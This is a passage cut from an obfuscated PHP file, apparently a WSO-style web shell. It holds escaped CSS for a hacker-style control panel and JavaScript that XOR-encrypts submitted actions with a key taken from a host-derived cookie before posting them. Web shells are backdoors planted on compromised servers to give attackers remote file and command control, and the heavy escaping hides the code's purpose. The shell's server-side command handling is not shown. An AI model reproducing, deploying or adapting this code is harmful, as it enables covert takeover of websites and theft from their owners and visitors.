d\141\x72\x67\x69\156\72\60\73\x76\145\162\x74\151\x63\x61\154\55\x61\154\x69\147\x6e\x3a\x74\157\x70\x3b\x7d\12\x20\x20\x20\x20\x20\x20\40\40\164\141\x62\154\x65\x2e\x69\x6e\x66\x6f\40\40\x20\40\40\x20\173\x63\x6f\x6c\157\162\x3a\x77\150\151\x74\145\x3b\175\xa\x20\40\x20\40\40\40\x20\40\x74\x61\x62\154\x65\x23\164\157\x6f\154\x73\x54\142\x6c\x20\x7b\142\x61\143\x6b\x67\x72\157\x75\x6e\x64\x2d\x63\157\154\x6f\162\x3a\40\142\x6c\141\x63\153\73\x7d\xa\40\40\x20\40\x20\40\x20\40\163\x70\141\156\x2c\150\61\x2c\141\x20\x20\40\40\40\40\40\x7b\x63\x6f\154\157\x72\72\x23\x37\x33\66\x37\x46\x30\x20\x21\x69\x6d\160\x6f\162\164\x61\156\x74\x3b\x7d\xa\40\x20\x20\40\40\x20\40\40\163\160\141\156\x20\x20\x20\x20\40\40\x20\x20\40\40\40\40\173\x66\x6f\x6e\x74\55\167\x65\151\x67\150\x74\72\142\157\x6c\x64\x65\x72\x3b\x7d\xa\40\x20\40\40\x20\x20\x20\x20\x68\x31\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\173\x62\x6f\162\144\145\x72\55\x6c\x65\x66\x74\72\65\160\170\40\163\x6f\154\x69\144\40\43\x32\x45\66\x45\x39\x43\x3b\x63\x6f\x6c\157\162\72\x77\150\151\164\x65\x20\41\x69\x6d\x70\x6f\162\164\x61\x6e\x74\73\x70\141\144\144\x69\x6e\x67\72\x32\160\x78\40\65\x70\170\x3b\x66\x6f\156\x74\72\61\64\x70\164\x20\126\145\x72\x64\141\x6e\141\73\142\x61\143\x6b\x67\162\157\x75\156\144\55\143\x6f\x6c\x6f\162\x3a\142\x6c\141\143\153\x3b\155\141\x72\147\151\156\x3a\x30\x70\170\x3b\x7d\xa\40\x20\x20\40\40\x20\x20\40\x64\x69\x76\56\143\157\x6e\164\145\156\164\x20\x20\40\x20\40\173\160\141\x64\144\x69\156\147\x3a\65\x70\170\73\155\141\162\x67\151\x6e\55\x6c\145\146\x74\72\x35\160\170\x3b\x62\x61\x63\153\147\162\157\x75\x6e\x64\x2d\143\157\x6c\x6f\162\72\43\x30\66\x30\x61\61\60\x3b\175\12\40\40\40\x20\x20\40\x20\40\x61\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\40\40\40\x20\40\173\x74\x65\170\164\x2d\x64\x65\143\x6f\162\x61\164\x69\157\x6e\72\x6e\157\156\x65\73\175\xa\x20\x20\40\x20\40\40\40\x20\x61\72\150\x6f\x76\x65\x72\x20\40\x20\40\40\40\40\x20\x20\x7b\164\x65\170\x74\x2d\144\145\x63\x6f\162\x61\x74\x69\x6f\156\72\165\156\x64\x65\162\154\151\x6e\145\x3b\x7d\xa\x20\40\40\40\40\x20\40\x20\56\164\x6f\x6f\x6c\164\151\160\x3a\72\x61\x66\x74\145\x72\x20\173\x62\x61\143\153\x67\162\157\165\156\x64\x3a\43\x30\x36\66\x33\x44\x35\x3b\x63\x6f\x6c\157\162\72\x77\150\x69\164\145\x3b\143\x6f\156\164\145\x6e\x74\72\x20\141\164\164\x72\50\x64\x61\164\141\55\164\157\x6f\x6c\x74\151\160\x29\x3b\155\141\x72\147\151\x6e\x2d\164\157\x70\72\x2d\65\x30\160\x78\73\144\x69\x73\160\x6c\x61\x79\x3a\142\x6c\x6f\143\x6b\x3b\160\x61\144\x64\151\156\x67\x3a\66\x70\x78\40\61\60\x70\170\73\x70\x6f\x73\151\164\151\x6f\156\x3a\141\142\163\x6f\x6c\x75\164\x65\73\166\151\x73\151\142\x69\x6c\x69\164\171\x3a\150\x69\144\144\x65\x6e\73\175\12\40\40\x20\x20\40\x20\x20\40\x2e\164\157\157\x6c\164\151\160\72\x68\157\166\145\162\72\72\x61\146\164\x65\162\x20\x7b\157\160\141\143\151\164\171\x3a\x31\73\x76\x69\x73\x69\x62\151\x6c\x69\164\x79\x3a\x76\x69\x73\151\x62\154\145\73\x7d\12\x20\x20\40\x20\40\40\x20\x20\x2e\x6d\154\61\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\173\x62\157\x72\x64\x65\162\72\x31\x70\x78\x20\163\x6f\154\x69\x64\73\40\40\x20\x20\146\x6f\156\x74\55\x66\141\x6d\151\154\171\72\x20\155\157\156\157\163\x70\x61\143\145\x3b\43\x32\60\x32\70\63\x32\73\x63\157\154\157\x72\72\43\60\60\x43\x46\x45\x38\41\x69\x6d\160\x6f\162\164\x61\x6e\164\x3b\160\x61\x64\x64\151\156\147\72\65\160\170\x3b\x6d\141\x72\x67\151\x6e\x3a\x30\73\157\166\x65\x72\146\x6c\157\167\72\141\165\x74\x6f\73\175\xa\40\x20\x20\40\x20\40\40\x20\56\142\151\x67\141\x72\145\x61\x20\x20\x20\40\x20\40\40\40\x7b\155\x69\156\x2d\x77\x69\144\x74\150\72\x31\60\60\45\73\x6d\x61\x78\55\167\151\x64\164\x68\72\61\60\x30\x25\x3b\150\145\151\x67\x68\164\x3a\x34\60\60\160\x78\x3b\175\xa\40\x20\40\40\40\40\x20\40\151\156\160\165\x74\54\x20\164\x65\x78\x74\x61\162\x65\141\x2c\x20\x73\x65\x6c\145\x63\164\x20\173\12\40\x20\40\40\155\141\162\147\151\156\x3a\x20\x30\x3b\xa\40\40\40\x20\143\157\x6c\157\x72\72\40\43\146\x66\146\73\12\40\x20\x20\x20\142\x61\x63\153\147\x72\157\x75\x6e\144\x2d\143\157\x6c\157\162\x3a\40\x23\x35\65\x35\73\12\x20\40\40\40\x62\157\x72\x64\x65\x72\x3a\x20\61\160\170\x20\x73\157\x6c\151\x64\x20\43\67\x33\66\67\x46\60\73\xa\40\40\40\x20\146\x6f\156\164\x3a\40\x39\160\164\x20\115\x6f\x6e\157\163\x70\x61\x63\145\x2c\x27\103\x6f\165\162\151\145\x72\40\x4e\x65\x77\47\73\x7d\12\40\x20\x20\x20\12\x20\x20\x20\x20\x20\40\40\40\154\141\x62\145\x6c\x20\173\x70\x6f\x73\151\x74\x69\x6f\156\72\162\x65\x6c\141\164\151\x76\x65\x7d\12\40\x20\40\x20\40\40\x20\40\154\x61\x62\x65\x6c\x3a\x61\146\x74\145\x72\x20\173\146\157\x6e\x74\x3a\x31\x30\x70\170\40\x27\x43\x6f\x6e\x73\x6f\x6c\x61\163\47\x2c\x20\x6d\157\x6e\x6f\x73\x70\x61\x63\x65\x3b\x2d\x77\145\142\153\x69\164\55\164\162\141\156\x73\x66\157\162\x6d\72\162\x6f\164\x61\x74\x65\50\x39\x30\144\145\x67\51\73\x2d\155\157\172\x2d\x74\162\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x72\x6f\164\141\164\145\50\x39\60\x64\x65\147\51\73\55\x6d\x73\55\164\x72\x61\x6e\163\146\x6f\x72\155\72\x72\x6f\164\x61\164\x65\x28\x39\x30\144\x65\147\51\73\164\162\x61\x6e\x73\146\x6f\162\x6d\x3a\x72\x6f\x74\x61\164\x65\x28\x39\x30\x64\x65\x67\51\73\x72\x69\x67\150\x74\72\63\x70\x78\73\40\x74\157\x70\x3a\x33\x70\170\x3b\x70\141\x64\144\x69\x6e\147\x3a\x30\73\160\157\x73\x69\164\151\x6f\156\x3a\141\142\x73\157\x6c\165\x74\x65\73\x70\157\151\156\x74\x65\162\55\145\x76\x65\x6e\164\163\72\x6e\x6f\x6e\x65\73\175\xa\xa\40\x20\x20\40\40\40\x20\x20\146\x6f\162\x6d\40\x20\x20\40\x20\x20\40\40\40\x20\x20\40\x7b\x6d\x61\162\x67\151\156\72\x30\x70\x78\x3b\x7d\12\40\x20\40\40\40\40\x20\x20\x23\x74\157\x6f\154\163\x54\x62\154\40\40\40\x20\40\x20\x20\x7b\164\145\x78\x74\x2d\141\154\151\147\x6e\72\143\145\x6e\x74\x65\x72\x3b\175\xa\40\40\40\40\40\40\40\40\x23\146\x61\x6b\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\173\142\x61\143\x6b\x67\162\157\165\156\144\72\x6e\157\x6e\x65\x3b\175\12\40\x20\40\40\40\x20\40\x20\x23\x66\141\153\40\164\x64\40\x20\40\x20\40\x20\x20\x20\x20\173\x70\x61\144\144\151\x6e\x67\x3a\65\160\170\x20\60\x20\60\x20\60\73\175\xa\x20\40\x20\40\x20\x20\40\x20\x69\x66\162\x61\x6d\145\x20\40\x20\40\40\40\40\x20\x20\x20\173\142\x6f\162\144\x65\162\72\61\x70\x78\40\163\157\154\x69\x64\40\x23\60\x36\60\x61\61\x30\73\175\xa\x20\40\x20\40\40\40\x20\40\56\164\x6f\157\x6c\163\x49\156\160\40\x20\40\x20\40\x20\40\173\x77\x69\144\x74\x68\x3a\x33\x30\60\160\170\x7d\12\x20\40\x20\40\40\40\40\40\56\155\141\151\156\x20\164\150\40\x20\x20\x20\x20\40\40\x20\x7b\164\x65\170\x74\x2d\141\x6c\151\147\156\x3a\154\x65\146\164\73\142\x61\143\153\x67\x72\157\x75\x6e\x64\x2d\143\157\154\x6f\162\x3a\43\60\66\x30\141\x31\x30\x3b\x7d\12\x20\x20\x20\x20\x20\40\x20\40\x2e\155\141\x69\156\40\x74\x72\x3a\150\157\x76\145\162\x7b\40\x20\40\x20\142\141\x63\x6b\147\162\x6f\x75\156\144\55\143\157\x6c\157\162\x3a\40\43\x32\66\62\x43\63\60\73\175\12\x20\x20\40\x20\40\40\x20\40\56\x6d\141\151\x6e\40\164\144\x2c\40\x74\150\x7b\x76\x65\x72\x74\x69\x63\141\x6c\x2d\x61\154\151\147\x6e\x3a\155\x69\144\144\x6c\x65\73\175\12\x20\x20\40\40\x20\x20\40\40\x69\x6e\160\x75\164\x5b\164\x79\x70\145\75\47\x73\165\142\155\x69\x74\x27\135\x7b\143\157\154\157\162\72\x20\x23\x46\106\x46\106\106\x46\x3b\x64\151\x73\160\x6c\141\x79\72\x20\151\x6e\154\151\x6e\x65\55\142\154\157\143\x6b\73\12\x20\x20\40\40\160\141\x64\x64\151\x6e\147\72\40\60\x2e\63\x35\145\x6d\40\60\56\64\x65\155\x3b\xa\x20\40\40\40\x66\x6f\156\x74\x2d\x73\151\x7a\145\72\40\70\x30\x25\x3b\12\x20\x20\40\40\x66\x6f\156\x74\55\x77\145\151\x67\150\x74\x3a\x20\67\x30\x30\x3b\12\40\40\x20\40\154\151\x6e\145\x2d\x68\145\151\x67\150\x74\x3a\x20\x31\73\12\40\x20\40\40\x74\145\170\x74\55\x61\x6c\151\x67\x6e\72\x20\x63\145\x6e\164\x65\162\73\12\x20\40\x20\x20\167\x68\x69\164\x65\x2d\x73\160\141\x63\x65\72\40\156\157\x77\x72\x61\x70\x3b\12\x20\40\40\x20\x76\145\162\164\x69\143\x61\x6c\x2d\x61\x6c\151\x67\156\72\40\142\x61\x73\x65\x6c\151\156\145\x3b\12\40\40\x20\x20\142\x6f\162\x64\x65\162\55\x72\x61\144\151\165\163\72\40\60\56\62\x35\162\x65\x6d\73\12\x20\40\40\x20\x2d\167\145\142\x6b\151\x74\55\x74\x72\x61\156\x73\151\x74\x69\x6f\156\72\x20\143\x6f\154\x6f\x72\40\60\x2e\x31\65\163\40\x65\x61\163\145\55\151\156\55\157\x75\164\x2c\40\x62\141\x63\x6b\147\x72\x6f\x75\x6e\144\x2d\x63\157\x6c\x6f\162\40\x30\56\61\x35\163\x20\x65\141\163\x65\x2d\x69\x6e\x2d\157\165\164\54\x20\x62\157\162\144\145\x72\x2d\x63\x6f\154\157\x72\40\x30\56\x31\x35\163\x20\x65\x61\x73\145\55\x69\x6e\x2d\157\165\164\54\x20\x62\157\x78\55\163\150\141\144\x6f\167\x20\x30\x2e\61\65\x73\x20\145\141\163\x65\55\151\156\55\157\x75\x74\x3b\12\40\x20\x20\x20\x74\162\141\156\163\x69\164\x69\x6f\156\x3a\40\143\157\x6c\157\x72\40\x30\x2e\61\65\x73\40\x65\x61\163\x65\55\x69\156\x2d\x6f\x75\x74\x2c\40\142\141\143\153\147\162\x6f\x75\156\x64\55\x63\157\x6c\157\162\40\x30\56\x31\x35\x73\40\x65\141\163\x65\x2d\x69\x6e\x2d\157\165\164\x2c\x20\142\157\x72\144\145\162\x2d\x63\x6f\x6c\x6f\162\40\60\x2e\61\65\x73\40\x65\x61\x73\x65\x2d\151\x6e\55\x6f\x75\164\54\x20\142\x6f\170\x2d\163\150\x61\x64\157\167\x20\x30\56\x31\x35\x73\40\x65\x61\x73\145\x2d\151\156\x2d\157\165\164\x3b\160\x61\144\144\151\156\x67\55\x72\151\147\150\164\72\x20\x30\56\66\x65\155\x3b\x70\141\x64\144\x69\156\x67\55\154\145\x66\164\x3a\x20\x30\56\66\145\155\x3b\x62\157\162\144\x65\x72\x2d\162\141\144\x69\165\163\x3a\40\x31\60\162\x65\155\x3b\146\157\156\164\55\167\x65\151\x67\x68\x74\x3a\x20\x34\x30\x30\73\x62\157\170\55\x73\x68\141\x64\x6f\167\x3a\40\60\40\x30\40\61\x30\160\170\40\x23\67\63\66\x37\x66\x30\73\x62\x61\x63\x6b\147\162\x6f\165\x6e\144\55\x63\157\x6c\157\162\x3a\40\x23\x37\x33\x36\x37\106\x30\73\143\165\x72\163\x6f\162\72\160\x6f\x69\156\x74\x65\162\73\x7d\xa\40\x20\x20\x20\40\40\40\x20\x69\156\x70\165\164\133\164\171\160\x65\75\47\142\x75\164\164\x6f\156\47\135\173\x63\157\154\157\162\x3a\x20\43\106\x46\x46\106\x46\106\73\144\151\x73\x70\x6c\x61\171\x3a\x20\x69\156\154\151\x6e\x65\55\x62\154\157\x63\153\x3b\12\x20\x20\40\40\x70\x61\x64\x64\151\x6e\x67\72\x20\60\x2e\x33\65\x65\x6d\40\60\x2e\x34\145\x6d\x3b\12\40\40\40\x20\x66\157\x6e\x74\55\x73\151\172\x65\x3a\40\70\x30\45\x3b\xa\x20\x20\40\x20\146\x6f\x6e\x74\55\x77\x65\x69\147\150\x74\72\40\67\x30\60\x3b\12\x20\x20\40\x20\154\151\x6e\145\x2d\x68\x65\x69\x67\x68\x74\72\40\x31\73\12\x20\40\40\40\x74\145\170\x74\x2d\x61\154\x69\147\156\x3a\40\143\x65\x6e\x74\145\162\x3b\xa\x20\40\x20\40\167\150\151\x74\x65\x2d\x73\x70\x61\143\145\72\x20\156\157\x77\162\x61\160\x3b\12\40\x20\x20\40\166\x65\x72\x74\151\x63\141\x6c\x2d\x61\x6c\x69\147\x6e\72\x20\x62\141\163\145\154\x69\156\x65\73\xa\40\40\x20\x20\142\157\162\144\145\162\x2d\162\x61\144\151\165\x73\72\x20\x30\56\62\65\x72\145\x6d\x3b\12\40\40\40\x20\x2d\x77\145\142\153\x69\164\55\x74\162\141\156\163\151\164\151\157\156\72\x20\x63\x6f\x6c\157\162\x20\x30\56\61\x35\163\40\x65\141\163\145\x2d\151\156\x2d\x6f\165\164\x2c\40\x62\x61\x63\153\x67\162\x6f\165\x6e\x64\x2d\143\157\154\x6f\x72\40\x30\56\x31\65\163\x20\x65\141\x73\145\x2d\151\156\x2d\x6f\165\164\54\x20\x62\x6f\162\x64\x65\x72\55\x63\x6f\154\x6f\x72\40\60\56\61\65\x73\40\x65\141\x73\145\x2d\x69\x6e\x2d\157\165\x74\x2c\x20\142\x6f\170\55\163\x68\x61\144\157\167\40\60\56\x31\x35\x73\x20\x65\141\x73\x65\x2d\151\156\55\x6f\165\164\x3b\xa\x20\40\x20\x20\x74\162\141\x6e\163\151\164\151\157\x6e\72\40\143\157\x6c\157\x72\40\60\x2e\x31\65\163\40\145\x61\x73\145\x2d\151\156\55\x6f\165\164\x2c\x20\142\141\x63\x6b\x67\162\157\165\156\x64\x2d\143\157\154\x6f\x72\x20\60\x2e\x31\65\163\40\145\141\163\145\55\x69\x6e\x2d\157\x75\x74\54\x20\142\x6f\x72\x64\145\162\55\143\157\154\x6f\162\x20\x30\56\61\x35\163\40\145\x61\163\145\x2d\151\x6e\x2d\x6f\165\164\54\40\142\x6f\x78\55\x73\150\x61\144\157\167\40\60\x2e\x31\65\163\40\145\x61\x73\x65\x2d\x69\x6e\x2d\157\x75\x74\x3b\x70\141\x64\x64\x69\156\x67\x2d\x72\x69\x67\x68\164\x3a\x20\60\56\66\x65\155\73\x70\141\x64\144\151\156\x67\x2d\154\145\x66\x74\x3a\x20\60\x2e\x36\145\155\x3b\142\x6f\162\144\x65\162\55\162\141\x64\x69\165\x73\72\x20\61\x30\x72\145\x6d\73\x66\x6f\x6e\164\x2d\167\145\151\147\x68\x74\x3a\40\64\60\x30\x3b\142\157\x78\55\x73\150\141\x64\x6f\x77\x3a\x20\60\40\60\40\61\x30\160\170\40\43\x37\63\x36\67\x66\x30\x3b\x62\x61\x63\x6b\x67\162\157\165\x6e\144\55\x63\x6f\x6c\x6f\162\x3a\40\x23\x37\63\x36\x37\x46\60\73\x63\x75\x72\163\x6f\162\x3a\160\x6f\151\156\x74\145\162\x3b\175\12\40\40\x20\x20\40\x20\40\40\x2e\154\61\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\40\x20\173\x62\x61\143\x6b\147\x72\x6f\165\x6e\x64\x2d\x63\157\x6c\x6f\162\x3a\x23\61\60\61\66\x33\101\x3b\175\xa\x20\40\40\x20\40\x20\x20\x20\160\162\x65\40\40\x20\40\x20\x20\x20\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\173\x66\x6f\x6e\164\x3a\71\160\164\40\103\x6f\x75\162\151\x65\162\x20\116\145\167\73\175\xa\74\x2f\x73\164\x79\x6c\145\76\xa\74\163\x63\162\151\160\164\x3e\12\40\x20\x20\x20\166\x61\162\x20\x63\137\40\75\40\x27" . htmlspecialchars($GLOBALS["\x63\x77\144"]) . "\x27\73\12\40\x20\x20\x20\x76\141\162\x20\x61\137\x20\75\x20\47" . htmlspecialchars(@$_POST["\141"]) . "\x27\12\x20\x20\40\40\x76\141\162\40\143\x68\141\x72\x73\145\x74\137\40\x3d\x20\x27" . htmlspecialchars(@$_POST["\x63\150\141\162\163\x65\x74"]) . "\x27\73\xa\40\x20\x20\40\x76\x61\162\40\160\x31\137\x20\x3d\x20\47" . (strpos(@$_POST["\x70\61"], "\xa") !== false ? '' : htmlspecialchars($_POST["\x70\61"], ENT_QUOTES)) . "\47\x3b\xa\x20\40\x20\x20\166\x61\162\x20\x70\62\x5f\x20\x3d\x20\47" . (strpos(@$_POST["\x70\x32"], "\xa") !== false ? '' : htmlspecialchars($_POST["\x70\62"], ENT_QUOTES)) . "\47\x3b\12\x20\40\40\40\166\x61\x72\40\x70\x33\x5f\40\75\x20\x27" . (strpos(@$_POST["\x70\x33"], "\xa") !== false ? '' : htmlspecialchars($_POST["\160\x33"], ENT_QUOTES)) . "\47\73\12\40\x20\40\40\x76\x61\162\x20\144\x20\75\40\144\157\x63\x75\x6d\145\x6e\x74\73\xa\xa\40\x20\40\40\40\x20\x20\40\x66\x75\x6e\143\164\x69\x6f\x6e\40\145\156\x63\x72\x79\160\164\50\x73\164\162\x2c\160\x77\144\x29\x7b\x69\x66\x28\x70\167\x64\x3d\75\156\x75\154\x6c\x7c\174\160\167\144\x2e\154\145\156\x67\164\150\74\x3d\60\51\173\x72\145\x74\x75\162\156\x20\156\x75\154\x6c\73\x7d\163\164\x72\75\x62\x61\x73\x65\x36\64\x5f\x65\x6e\x63\x6f\x64\x65\50\x73\164\162\x29\73\x70\167\x64\75\142\x61\x73\145\x36\64\137\145\156\x63\157\144\145\50\x70\x77\144\51\73\x76\x61\162\x20\145\156\143\137\x63\x68\162\x3d\x27\47\73\x76\141\x72\40\x65\x6e\143\137\x73\x74\162\x3d\47\47\73\166\x61\x72\x20\151\75\60\x3b\167\150\x69\154\145\x28\151\74\x73\x74\x72\x2e\154\x65\x6e\147\x74\150\51\x7b\146\x6f\162\x28\166\x61\162\40\152\x3d\60\73\152\x3c\x70\x77\x64\x2e\154\x65\x6e\147\164\150\73\152\53\x2b\x29\173\x65\x6e\143\137\x63\x68\x72\75\x73\164\162\x2e\143\150\141\162\x43\157\144\x65\101\x74\50\x69\51\136\160\x77\144\x2e\x63\150\x61\162\x43\157\144\145\101\164\50\152\51\x3b\x65\156\x63\137\163\x74\x72\53\x3d\123\164\162\x69\x6e\147\x2e\x66\162\157\x6d\103\150\141\162\103\x6f\x64\145\50\x65\156\143\x5f\x63\x68\162\x29\x3b\151\53\53\x3b\x69\146\50\151\x3e\75\163\164\162\56\154\145\156\x67\164\150\51\x62\162\x65\x61\153\73\175\175\x72\x65\164\165\162\156\40\142\x61\163\x65\66\x34\137\145\156\x63\x6f\x64\145\50\x65\x6e\x63\x5f\x73\164\x72\x29\73\175\xa\40\40\40\40\x20\40\x20\x20\146\165\x6e\143\164\x69\x6f\x6e\40\165\164\x66\70\137\145\156\143\x6f\x64\145\50\x61\x72\x67\x53\164\x72\x69\156\x67\x29\x7b\166\141\162\40\x73\164\x72\151\156\x67\75\x28\141\x72\147\123\164\162\x69\x6e\x67\x2b\x27\47\51\x3b\166\x61\162\x20\x75\x74\146\x74\x65\170\164\x3d\x27\47\x2c\x73\x74\x61\x72\164\x2c\x65\x6e\x64\54\163\164\162\x69\156\x67\154\75\60\x3b\163\x74\141\x72\164\75\145\156\x64\75\60\x3b\x73\164\x72\151\156\x67\154\75\x73\164\162\x69\156\x67\x2e\x6c\x65\x6e\147\164\150\x3b\x66\x6f\162\x28\166\x61\162\40\156\75\x30\73\156\74\163\x74\x72\x69\156\x67\154\73\x6e\53\x2b\51\x7b\166\141\162\40\143\x31\x3d\x73\x74\162\x69\x6e\147\x2e\x63\x68\x61\162\x43\157\144\x65\101\164\x28\156\x29\73\x76\141\x72\x20\145\x6e\143\x3d\x6e\165\x6c\154\x3b\151\x66\x28\x63\x31\74\61\62\70\51\173\x65\156\144\53\x2b\x3b\175\x65\x6c\x73\x65\x20\151\146\50\143\x31\76\61\x32\67\46\46\143\x31\74\x32\60\64\x38\51\x7b\x65\156\143\x3d\x53\x74\x72\151\156\147\x2e\146\162\157\155\103\150\x61\162\x43\157\144\145\x28\x28\x63\x31\76\76\x36\51\174\61\71\x32\x29\53\123\164\x72\x69\156\147\56\x66\162\157\x6d\103\150\x61\x72\103\157\144\x65\x28\50\x63\61\x26\x36\x33\51\x7c\x31\62\70\x29\x3b\x7d\145\154\x73\145\x7b\145\x6e\143\x3d\x53\x74\162\x69\156\x67\56\146\x72\x6f\x6d\103\x68\141\x72\103\157\144\145\50\x28\x63\x31\76\x3e\61\62\x29\x7c\x32\62\x34\x29\53\123\164\x72\151\x6e\147\x2e\146\162\157\x6d\x43\150\x61\x72\103\x6f\144\x65\x28\50\x28\x63\x31\x3e\76\x36\x29\x26\x36\63\x29\x7c\x31\x32\70\x29\53\x53\x74\162\151\156\147\56\x66\162\x6f\x6d\x43\x68\x61\x72\103\x6f\x64\145\50\50\143\61\46\x36\x33\51\x7c\61\x32\70\x29\x3b\175\151\146\50\145\x6e\x63\x21\75\x3d\x6e\165\x6c\x6c\51\x7b\x69\146\x28\x65\x6e\x64\76\163\x74\141\x72\164\x29\x7b\x75\164\x66\x74\145\x78\x74\53\75\x73\164\162\151\x6e\147\x2e\x73\154\x69\143\145\50\x73\164\141\x72\164\x2c\x65\156\x64\x29\73\175\165\x74\146\x74\145\170\164\x2b\75\145\x6e\x63\x3b\x73\x74\141\162\x74\75\145\156\x64\x3d\x6e\53\61\73\x7d\x7d\151\x66\50\145\x6e\144\76\163\x74\x61\162\x74\x29\x7b\x75\x74\x66\x74\x65\x78\x74\53\x3d\x73\164\x72\x69\156\x67\56\x73\x6c\x69\143\x65\50\163\x74\x61\x72\164\x2c\x73\x74\x72\x69\x6e\x67\154\x29\73\175\x72\x65\164\x75\x72\x6e\40\x75\x74\x66\164\x65\x78\164\73\x7d\12\x20\40\x20\40\x20\x20\x20\40\146\x75\156\x63\164\x69\157\156\x20\x62\x61\163\145\66\x34\x5f\145\156\x63\x6f\144\x65\50\x64\141\164\x61\51\x7b\166\141\x72\x20\x62\66\64\x20\x3d\x20\47\101\x42\x43\x44\x45\x46\x47\110\x49\112\x4b\x4c\x4d\x4e\117\120\121\x52\x53\x54\125\x56\127\x58\131\132\x61\142\x63\144\x65\x66\147\150\151\152\x6b\x6c\155\x6e\x6f\160\x71\162\x73\164\x75\x76\x77\x78\171\172\60\61\x32\x33\64\x35\x36\67\x38\x39\53\57\75\x27\73\x76\141\x72\x20\x6f\61\x2c\x6f\x32\x2c\157\x33\54\x68\x31\x2c\150\62\x2c\x68\x33\x2c\150\64\54\142\151\x74\163\54\151\75\x30\54\x61\x63\x3d\x30\54\145\x6e\x63\75\x27\x27\x2c\164\x6d\x70\x5f\141\162\162\x3d\133\x5d\x3b\151\146\x20\x28\41\x64\141\164\141\x29\173\162\x65\164\x75\162\156\x20\144\141\164\x61\x3b\x7d\144\x61\x74\x61\75\165\164\146\70\137\145\156\x63\157\144\145\x28\x64\x61\164\x61\x2b\x27\47\x29\x3b\144\x6f\173\157\61\75\144\141\164\x61\x2e\x63\x68\141\162\x43\x6f\x64\145\101\x74\x28\151\53\x2b\x29\x3b\x6f\x32\75\x64\x61\x74\x61\56\143\x68\141\162\x43\x6f\x64\145\101\164\x28\151\x2b\x2b\51\73\157\x33\75\x64\x61\x74\141\x2e\x63\x68\141\162\103\x6f\144\x65\x41\x74\50\x69\x2b\x2b\51\x3b\x62\x69\x74\163\x3d\x6f\x31\x3c\x3c\x31\x36\174\x6f\x32\x3c\x3c\x38\174\157\63\x3b\x68\61\75\142\151\x74\x73\76\76\61\x38\46\x30\170\63\x66\73\x68\x32\75\x62\151\x74\163\x3e\76\x31\62\46\x30\170\63\146\73\150\x33\x3d\142\151\x74\163\76\x3e\66\x26\60\x78\63\x66\x3b\x68\x34\75\x62\151\164\x73\x26\x30\x78\63\146\73\x74\x6d\x70\x5f\x61\x72\162\133\x61\143\53\x2b\x5d\75\142\66\x34\56\x63\x68\141\x72\x41\164\50\150\61\51\x2b\x62\66\64\56\143\150\141\162\x41\164\50\x68\62\51\53\142\x36\x34\x2e\x63\150\141\162\x41\164\x28\150\x33\x29\53\x62\66\64\x2e\x63\x68\141\x72\101\x74\x28\x68\x34\51\x3b\175\167\150\151\x6c\145\50\x69\74\144\x61\164\x61\56\x6c\x65\156\147\x74\x68\51\x3b\x65\x6e\143\x3d\164\155\160\x5f\141\162\162\56\152\157\151\156\50\47\47\x29\73\163\x77\x69\x74\143\150\x20\x28\x64\x61\x74\x61\56\154\145\156\147\x74\150\45\x33\x29\173\x63\x61\163\145\x20\61\72\145\156\143\75\145\156\143\56\x73\x6c\x69\x63\145\x28\x30\54\x2d\62\51\53\x27\75\75\x27\73\142\x72\145\x61\x6b\x3b\143\141\x73\x65\40\x32\72\145\x6e\143\75\x65\x6e\143\56\163\154\151\x63\145\50\x30\54\x2d\61\x29\53\47\75\x27\x3b\x62\162\145\141\153\x3b\175\162\x65\164\165\162\x6e\x20\x65\156\x63\x3b\175\xa\x20\x20\40\x20\40\40\40\x20\x66\165\x6e\x63\164\151\157\156\40\x73\145\164\50\x61\x2c\x63\54\x70\x31\54\160\62\x2c\160\x33\x2c\x63\x68\x61\x72\163\x65\164\x29\x20\173\12\40\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\151\x66\x28\141\x21\75\x6e\165\154\x6c\51\144\56\155\x66\56\141\56\x76\x61\x6c\x75\145\75\141\73\x65\154\163\145\40\144\x2e\155\146\56\141\x2e\166\x61\154\x75\145\75\141\x5f\x3b\12\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\151\x66\50\143\x21\x3d\x6e\165\x6c\x6c\x29\144\56\x6d\x66\x2e\143\56\166\x61\154\165\145\75\143\73\x65\x6c\163\145\40\x64\x2e\x6d\x66\56\143\x2e\166\x61\154\x75\145\75\x63\x5f\x3b\xa\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x70\61\41\x3d\x6e\x75\154\x6c\51\144\x2e\x6d\x66\56\x70\x31\x2e\x76\141\154\x75\x65\x3d\x70\61\x3b\x65\154\x73\145\x20\x64\56\155\146\x2e\x70\61\56\166\x61\x6c\165\x65\75\160\61\137\73\12\40\40\x20\40\40\40\x20\x20\x20\x20\x20\40\40\40\40\x20\x69\x66\x28\160\62\x21\x3d\156\165\x6c\x6c\x29\x64\x2e\x6d\x66\56\160\62\56\x76\141\x6c\165\x65\x3d\x70\62\73\x65\x6c\x73\145\40\144\x2e\155\x66\56\x70\x32\56\166\141\x6c\165\x65\75\160\x32\x5f\x3b\xa\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\x20\x20\x20\151\x66\x28\160\63\41\x3d\156\165\154\x6c\x29\144\x2e\x6d\x66\x2e\160\x33\56\x76\x61\154\x75\x65\75\160\x33\73\145\x6c\x73\145\40\144\x2e\x6d\146\56\x70\63\x2e\x76\141\154\x75\145\x3d\160\x33\x5f\73\12\x20\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\144\x2e\155\146\x2e\x61\x2e\166\x61\x6c\x75\145\40\x3d\x20\x65\x6e\143\x72\x79\x70\164\50\144\x2e\x6d\146\x2e\141\56\166\x61\x6c\165\145\54\47" . $_COOKIE[md5($_SERVER["\110\x54\x54\120\137\x48\117\x53\x54"]) . "\x6b\x65\x79"] . 